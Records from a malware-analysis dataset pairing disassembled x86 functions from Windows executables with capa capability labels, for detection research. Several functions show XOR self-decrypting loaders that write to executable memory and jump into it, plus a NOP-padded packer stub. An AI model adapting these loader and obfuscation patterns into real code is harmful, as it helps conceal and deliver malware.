joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42b047
Capabilities:
Resolve function by parsing pe exports

Disassembly:
inc esp
inc eax
dec esp
dec ebx
add esp, 4
call 0x42b047
add byte [ebx], dh
xor al, 0x33
push eax
dec esi
dec ebp
xor al, 0x43
add esp, 4
pop ecx
push edx
add edx, 0xb14e
pop edx
mov dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x1688], eax
cmp dword [ebp - 0x1688], 0
jne 0x42b083
mov ecx, dword [ebp - 0x794]
mov dword [ebp - 0x520], ecx
jmp 0x42b374
mov edx, dword [ebp - 0x1688]
mov eax, dword [ebp - 0x338]
add eax, dword [edx + 0x3c]
inc edx
cmp al, 0x89
test dword [ecx + ebp*8 - 1], esi
push dword [ebp + 0x11]
mov ecx, dword [ebp - 0x794]
mov dword [ebp - 0x520], ecx
jmp 0x42b374
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x168c]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1690], edx
cmp dword [ebp - 0x1690], 0
jne 0x42b0dd
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x520], eax
jmp 0x42b374
mov ecx, dword [ebp - 0x338]
add ecx, dword [ebp - 0x1690]
mov dword [ebp - 0x788], ecx
jne 0x42b102
mov edx, dword [ebp - 0x794]
mov dword [ebp - 0x520], edx
jmp 0x42b374
mov eax, dword [ebp - 0x788]
mov ecx, dword [ebp - 0x338]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19c4], ecx
mov edx, dword [ebp - 0x788]
mov eax, dword [ebp - 0x338]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19c8], eax
mov ecx, dword [ebp - 0x788]
mov edx, dword [ebp - 0x338]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x19cc], edx
mov dword [ebp - 0x78c], 0
jmp 0x42b15c
mov ecx, dword [ebp - 0x788]
mov edx, dword [ebp - 0x78c]
cmp edx, dword [ecx + 0x18]
jae 0x42b368
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x19c4]
mov edx, dword [ebp - 0x338]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x790], edx
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x19c8]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x19cc]
mov ecx, dword [ebp - 0x338]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x19d0], ecx
mov dword [ebp - 0x1a4], 0
jmp 0x42b1cc
mov eax, dword [ebp - 0x790]
add eax, dword [ebp - 0x1a4]
movsx ecx, byte [eax]
test ecx, ecx
je 0x42b27e
mov edx, dword [ebp - 0x1a4]
movsx eax, byte [ebp + edx - 0x9d4]
test eax, eax
je 0x42b27e
push edi
call 0x42b209
add byte [esi + 0x39], al
cmp eax, 0x4a354742
inc ebx
inc eax
add esp, 4
pop edi
push eax
push ebx
add esp, 4
jmp 0x42b21b
call 0x42b227
add byte [edi], dh
cmp edi, dword [0x833a494f]
les eax, [eax + ebx*2]
invalid
lea esi, [eax - 8]
invalid

Function at 0x43fd70
Capabilities:
Execute syscall

Disassembly:
lea esp, [ecx]
add eax, 0x57ee6405
xor eax, dword [0x45c28805]
add dword [esp + eax], eax
add eax, 0x8acc117a
pop ebp
cmc
add al, 4
add eax, 0xf0050505
inc esi
push ebp
xchg ch, ch
jbe 0x43fdd5
push es
add eax, 0x78ecf586
push es
add eax, 0x5399f586
push es
add eax, 0x88555c5d
leave
or ebp, ebp
syscall
add eax, 0x394c0505
dec ebx
inc eax
cmp al, 0x40
inc esp
cmp bh, byte [eax]
mov cl, cl
or dword [esi + 0x59587d4], eax
invalid
Function at 0x453fc0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x4d509c]
xor eax, esp
mov dword [esp + 0x208], eax
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xa]
push ecx
mov word [esp + 0xc], ax
call fcn.00487420
add esp, 0xc
push 0x104
lea edx, [esp + 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x454019
xor eax, eax
mov ecx, dword [esp + 0x208]
xor ecx, esp
call fcn.004873c2
add esp, 0x20c
ret
push 0x4bd3a4
lea eax, [esp + 4]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
test eax, eax
je 0x454002
push str.RtlGetVersion
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x208]
xor ecx, esp
call fcn.004873c2
add esp, 0x20c
ret
Function at 0x4824f0
Capabilities:
Extract resource via kernel32 functions
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x4ccfa8
push 0x486970
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x4d509c]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
xor edi, edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
mov eax, dword [ebp + 0xc]
cmp eax, edi
je 0x482534
mov dword [eax], edi
mov eax, dword [ebp + 0x10]
cmp eax, edi
je 0x482544
mov dword [ebp + 0xc], 0x482490
jmp 0x48254d
mov ecx, dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp + 0xc], ecx
cmp eax, edi
je 0x48255a
mov dword [ebp + 0x10], 0x4824c0
jmp 0x482563
mov edx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp + 0x10], edx
cmp dword [ebp + 0xc], edi
je 0x4826ae
cmp dword [ebp + 0x10], edi
je 0x4826ae
push 1
mov ebx, dword [sym.imp.KERNEL32.dll_SetErrorMode]
call ebx
mov esi, eax
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
mov eax, dword [ebp + 8]
push eax
call dword [ebp + 0xc]
mov dword [ebp + 0xc], eax
cmp eax, 0xffffffff
je 0x4825d7
push 0
push 0
push 0
push 0x1000002
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 0x28], eax
test eax, eax
je 0x4825d7
push 0
push 0
push 0
push 4
mov ecx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x24], eax
test eax, eax
je 0x4825d7
mov edi, eax
push esi
call ebx
xor ebx, ebx
cmp edi, ebx
je 0x48265b
mov dword [ebp - 4], ebx
mov dword [ebp - 0x20], ebx
push 0x10
push 1
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
cmp esi, ebx
je 0x48264d
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov dword [ebp - 0x1c], ebx
test ebx, ebx
je 0x48264d
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x48264d
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x48264d
movzx ecx, word [eax]
cmp ecx, ebx
ja 0x482646
mov dword [ebp - 0x1c], ecx
lea esi, [ecx + 3]
and esi, 0xfffffffc
mov dword [ebp - 0x1c], esi
cmp dword [eax + 0x28], 0xfeef04bd
je 0x482652
jmp 0x482646
mov dword [ebp - 0x20], 0xd
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], 0xfffffffe
jmp 0x482662
mov dword [ebp - 0x20], 0xd
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x482670
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x48267e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0xc]
cmp eax, 0xffffffff
je 0x48268a
push eax
call dword [ebp + 0x10]
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
je 0x4826ae
lea eax, [esi + esi + 4]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4826d0
Capabilities:
Extract resource via kernel32 functions
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x4ccfc8
push 0x486970
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x4d509c]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov eax, dword [ebp + 0x18]
cmp eax, ebx
mov esi, 0x482490
jne 0x482755
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x28], eax
cmp esi, ebx
je 0x482741
cmp dword [ebp - 0x28], ebx
je 0x482741
mov edi, dword [ebp + 0x10]
cmp edi, 2
jae 0x48275e
push 0x7a
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x28], 0x4824c0
jmp 0x482728
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov dword [ebp + 0x18], eax
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
mov ecx, dword [ebp + 8]
push ecx
call esi
mov esi, eax
mov dword [ebp - 0x2c], esi
cmp esi, 0xffffffff
je 0x4827c0
push 0
push 0
push 0
push 0x1000002
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 0x24], eax
test eax, eax
je 0x4827c0
push 0
push 0
push 0
push 4
mov edx, eax
push edx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x20], eax
test eax, eax
je 0x4827c0
mov ebx, eax
mov eax, dword [ebp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
test ebx, ebx
je 0x48286d
push 0x10
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x482866
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x482866
mov dword [ebp - 4], 0
movzx esi, word [eax]
mov dword [ebp + 0x18], esi
lea ecx, [esi + esi + 4]
cmp ecx, edi
jbe 0x482817
shr edi, 1
sub edi, 4
mov esi, edi
mov dword [ebp + 0x18], esi
mov ebx, 1
jmp 0x482819
xor ebx, ebx
push esi
push eax
mov edi, dword [ebp + 0x14]
push edi
call fcn.0048a1e0
add esp, 0xc
mov edx, dword [str.FE2X]
mov dword [esi + edi], edx
test ebx, ebx
je 0x482837
mov word [edi], si
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xfffffffe
mov esi, dword [ebp - 0x2c]
jmp 0x48286d
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x48287b
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x482889
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 0xffffffff
je 0x482892
push esi
call dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x482a40
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
sub esp, 0x21c
mov eax, dword [0x4d509c]
xor eax, esp
mov dword [esp + 0x218], eax
mov eax, dword [esp + 0x228]
push ebx
mov ebx, dword [esp + 0x228]
push ebp
mov ebp, dword [esp + 0x234]
push esi
mov esi, dword [esp + 0x22c]
mov dword [esp + 0x18], eax
test esi, esi
je 0x482bf3
test ebx, ebx
je 0x482bf3
test ebp, ebp
je 0x482bf3
push 0x208
lea ecx, [esp + 0x20]
push 0
push ecx
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], 1
call fcn.00487420
mov edx, dword [esp + 0x248]
push esi
push str.SOFTWARE360SafeLiveUpupdatecfg
push 0x4bde7c
lea ecx, [esp + 0x34]
lea eax, [edx + edx]
push 0x103
push ecx
mov dword [esp + 0x30], eax
call fcn.00486bb0
add esp, 0x20
lea edx, [esp + 0xc]
push edx
push 0x20219
push 0
lea eax, [esp + 0x28]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x482b47
mov eax, dword [esp + 0xc]
test eax, eax
je 0x482b2b
push edi
lea ecx, [esp + 0x14]
push ecx
push ebp
lea edx, [esp + 0x20]
push edx
push 0
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edi, eax
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
pop edi
jne 0x482b47
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x218]
xor ecx, esp
call fcn.004873c2
add esp, 0x21c
ret
lea ecx, [esp + 0xc]
push ecx
push 0x20219
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_Paths360safe.exe
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x482bf3
lea edx, [esp + 0x10]
push edx
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x1c]
push ecx
push 0
push str.Path
push edx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x28], 0x206
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0xe
push str.updatecfg.ini
lea ecx, [esp + 0x24]
push 0x104
push ecx
call fcn.0048c126
mov eax, dword [esp + 0x24c]
mov ecx, dword [esp + 0x28]
add esp, 0x10
lea edx, [esp + 0x1c]
push edx
push eax
push ebp
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x218]
xor ecx, esp
call fcn.004873c2
add esp, 0x21c
ret
mov ecx, dword [esp + 0x224]
pop esi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.004873c2
add esp, 0x21c
ret
Function at 0x4852fb
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x4d7910], 0
push esi
jne 0x485269
call fcn.0048517d
test eax, eax
je 0x4852ac
mov eax, dword [0x4d7910]
cmp eax, 1
jne 0x48528a
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x4852ac
pop esi
ret
push eax
call dword [0x4d7918]
test eax, eax
jne 0x4852f4
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x4852b0
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x4d7910]
call dword [0x4d7918]
mov edi, eax
test edi, edi
je 0x4852d5
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x4852f1
mov edi, esi
add esi, 0xff0
push edi
push dword [0x4d7910]
call dword [0x4d7914]
add edi, 0x10
cmp edi, esi
jb 0x4852dd
mov eax, edi
pop edi
pop esi
ret
jmp 0x485256

Function at 0x4873c2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4d509c]
jne 0x4873cc
repz ret
jmp fcn.00494482

Function at 0x4ac4a5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004936a5
and dword [ebp - 4], 0
cmp dword [0x4d8484], 0
mov ebx, eax
jne 0x4ac556
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4ac607
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4ac607
push eax
call fcn.00493633
mov dword [esp], 0x4c8650
push edi
mov dword [0x4d8484], eax
call esi
push eax
call fcn.00493633
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4d8488], eax
call esi
push eax
call fcn.00493633
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4d848c], eax
call esi
push eax
call fcn.00493633
pop ecx
mov dword [0x4d8494], eax
test eax, eax
je 0x4ac556
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00493633
pop ecx
mov dword [0x4d8490], eax
mov eax, dword [0x4d8490]
cmp eax, ebx
je 0x4ac5ae
cmp dword [0x4d8494], ebx
je 0x4ac5ae
push eax
call fcn.004936ae
push dword [0x4d8494]
mov esi, eax
call fcn.004936ae
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4ac5ae
test edi, edi
je 0x4ac5ae
call esi
test eax, eax
je 0x4ac5a5
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4ac5a5
test byte [ebp - 0xc], 1
jne 0x4ac5ae
or dword [ebp + 0x10], 0x200000
jmp 0x4ac5e7
mov eax, dword [0x4d8488]
cmp eax, ebx
je 0x4ac5e7
push eax
call fcn.004936ae
pop ecx
test eax, eax
je 0x4ac5e7
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4ac5e7
mov eax, dword [0x4d848c]
cmp eax, ebx
je 0x4ac5e7
push eax
call fcn.004936ae
pop ecx
test eax, eax
je 0x4ac5e7
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4d8484]
call fcn.004936ae
pop ecx
test eax, eax
je 0x4ac607
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4ac609
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001b32
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x1000dfb6
call fcn.1000dd63
mov eax, dword [ebp + 0xc]
xor esi, esi
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x430], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], esi
mov dword [ebp - 0x418], esi
push 0x60
push esi
push ebx
mov byte [ebp - 4], 1
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x10001baf
push 2
push esi
push ebx
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], eax
test edi, edi
jne 0x10001baf
call fcn.100012b3
mov esi, eax
jmp 0x10001cb5
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
push edi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
jne 0x10001bd2
call fcn.100012b3
jmp 0x10001ca8
push ebx
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x41c], eax
test eax, eax
je 0x10001bc8
push ebx
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov ebx, eax
mov dword [ebp - 0x420], ebx
lea eax, [ebx + 1]
cmp eax, ebx
jae 0x10001c05
mov esi, 0x8007000e
jmp 0x10001caa
push 2
pop ecx
mul ecx
mov byte [ebp - 4], cl
cmp edx, esi
ja 0x10001cd8
jb 0x10001c20
cmp eax, 0xffffffff
ja 0x10001cd8
cmp eax, 0x400
jbe 0x10001c35
push eax
lea ecx, [ebp - 0x418]
call fcn.10005752
jmp 0x10001c57
lea eax, [ebp - 0x414]
mov dword [ebp - 0x418], eax
jmp 0x10001c57
mov dword [ebp - 4], 1
cmp dword [ebp - 0x418], 0
je 0x10001bfb
push ebx
push dword [ebp - 0x418]
push ebx
push dword [ebp - 0x41c]
push esi
push 3
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x10001bc8
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x42c]
push dword [ebp - 0x418]
call fcn.10005752
mov esi, eax
test edi, edi
je 0x10001cb5
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x10001cce
lea ecx, [ebp - 0x418]
call fcn.1000413e
mov eax, esi
call fcn.1000dcb8
ret 0x10
push 0x80070216
call fcn.10005752
int3
Function at 0x100046d5
Capabilities:
Parse url

Disassembly:
push 0x4c
mov eax, 0x1000e1f1
call fcn.1000dcc4
mov dword [ebp - 0x1c], ecx
push 0x3c
pop esi
push esi
lea eax, [ebp - 0x58]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x14]
add esp, 0xc
mov dword [ebp - 0x58], esi
push ebx
call fcn.10005752
and dword [ebp - 4], 0
mov esi, dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
push 5
push ebx
call esi
mov dword [ebp - 0x10], eax
test eax, eax
je 0x1000485a
push 6
push ebx
mov byte [ebp - 4], 1
call esi
mov edi, eax
mov dword [ebp - 0x18], edi
test edi, edi
je 0x1000485a
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.100049e9
mov esi, dword [ebp - 0x14]
mov ebx, eax
test ebx, ebx
js 0x1000483f
lea ecx, [ebp - 0x18]
call fcn.100049e9
mov ebx, eax
test ebx, ebx
js 0x1000483f
mov eax, dword [ebp - 0x1c]
cmp dword [eax + 0x40], 0
je 0x1000483a
mov ebx, dword [sym.imp.OLEAUT32.dll_SysAllocStringByteLen]
push esi
call ebx
cmp eax, 0x8000
ja 0x1000483a
push esi
call ebx
cmp eax, 6
jb 0x1000483a
lea ecx, [ebp - 0x14]
call fcn.100049e9
mov ebx, eax
test ebx, ebx
js 0x1000483f
push str.http:
lea ecx, [ebp - 0x10]
call fcn.10005752
test al, al
je 0x100047c1
push str.https:
lea ecx, [ebp - 0x18]
call fcn.10005752
test al, al
jne 0x1000483a
mov eax, dword [ebp + 8]
xor edx, edx
mov dword [ebp - 0x18], eax
movzx eax, word [eax]
test ax, ax
je 0x1000483a
mov ecx, eax
cmp cx, 0xd
je 0x1000483a
cmp cx, 0xa
je 0x1000483a
mov dword [ebp - 0x1c], 0x2f
lea eax, [edx + 1]
cmp word [ebp - 0x1c], cx
cmovne eax, edx
mov edx, eax
mov eax, dword [ebp - 0x18]
add eax, 2
mov dword [ebp - 0x18], eax
movzx eax, word [eax]
mov ecx, eax
test ax, ax
jne 0x100047d3
cmp edx, 3
jb 0x1000483a
xor eax, eax
inc eax
push esi
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x50], eax
call dword [sym.imp.OLEAUT32.dll_VariantInit]
lea ecx, [ebp - 0x58]
push ecx
push 0
push eax
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetCrackUrlW]
test eax, eax
jne 0x1000483f
mov ebx, 0x80070057
push edi
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call edi
push dword [ebp - 0x10]
call edi
push esi
call edi
mov eax, ebx
call fcn.1000dc98
ret 4
push 0x8007000e
call fcn.10005752
int3
Function at 0x10005752
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x10005761
pop dword [ebp - 0x18]
mov eax, 0x574f7cef
add eax, 0xb8b0da72
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x39776
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x4a91
mov edx, eax
mov ebx, 0x1001c400
add ebx, dword [ebp - 0x18]
mov esi, 0xf6e49725
xor dword [ebp - 0x10], 0x2fe56eec
mov edi, dword [ebx]
sub dword [ebp - 4], ebx
sub edi, esi
xor dword [ebp - 8], ecx
mov dword [edx], edi
sub dword [ebp - 0xc], 0xa0003ab8
add edx, 0xa55f318
sub edx, 0xa55f314
add ebx, 4
loop 0x100057a9
add eax, 0x11d17
xor ebx, ebx
add ebx, eax
add eax, 0xb74e7961
sub eax, 0xb74e795c
mov ecx, 0x75bc44d6
sub ecx, 0x65bc44d6
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x6a0e47f9
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x432024
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0x55d44116
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x42eb80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x42eb8f
pop dword [ebp - 0xc]
mov eax, 0x42eb8f
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x4d867
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0xf75274a2
add ecx, 0x8add3b4
xor edx, edx
add edx, eax
mov edi, 0x46b200
add edi, dword [ebp - 0xc]
mov esi, 0x491c5f9f
sub esi, 0xcc4a8894
sub dword [ebp - 4], ebx
mov ebx, dword [edi]
add dword [ebp - 4], ebx
xor ebx, esi
mov dword [ebp - 4], 0x6f8ad930
mov dword [edx], ebx
sub dword [ebp - 4], esi
add edx, 0xb1fc3d0f
add edx, 0x4e03c2f5
add edi, 0x77ff0cee
add edi, 0x8800f316
loop 0x42ebe0
add eax, 0x1142b
mov ebx, eax
add eax, 5
mov ecx, 0x4bf7b2bf
sub ecx, 0x4bb7b2bf
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x432550
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43a919
mov eax, dword fs:[0]
push eax
sub esp, 0x138
mov eax, dword [0x44ec90]
xor eax, ebp
mov dword [ebp - 0x18], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], 0
push 0x11c
push 0
lea eax, [ebp - 0x13c]
push eax
call fcn.004148c0
add esp, 0xc
mov dword [ebp - 0x13c], 0x11c
lea ecx, [ebp - 0x13c]
push ecx
call dword [sym.imp.kernel32.dll_GetVersionExW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4325d2
mov dword [ebp - 0x13c], 0x114
lea edx, [ebp - 0x13c]
push edx
call dword [sym.imp.kernel32.dll_GetVersionExW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4325e8
cmp dword [ebp - 0x138], 6
jb 0x4325e8
mov dword [ebp - 0x14], 1
movzx eax, byte [0x452c91]
test eax, eax
jne 0x43267e
cmp dword [ebp - 0x14], 0
je 0x43263b
push str.Vista_or_later
lea ecx, [ebp - 0x140]
call main
mov dword [ebp - 4], 0
push 0
lea ecx, [ebp - 0x140]
push ecx
push 2
call main
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x140]
call main
jmp 0x432677
push str.not_Vista_or_later
lea ecx, [ebp - 0x144]
call main
mov dword [ebp - 4], 1
push 0
lea edx, [ebp - 0x144]
push edx
push 2
call main
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x144]
call main
mov byte [0x452c91], 1
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.00414838
mov esp, ebp
pop ebp
ret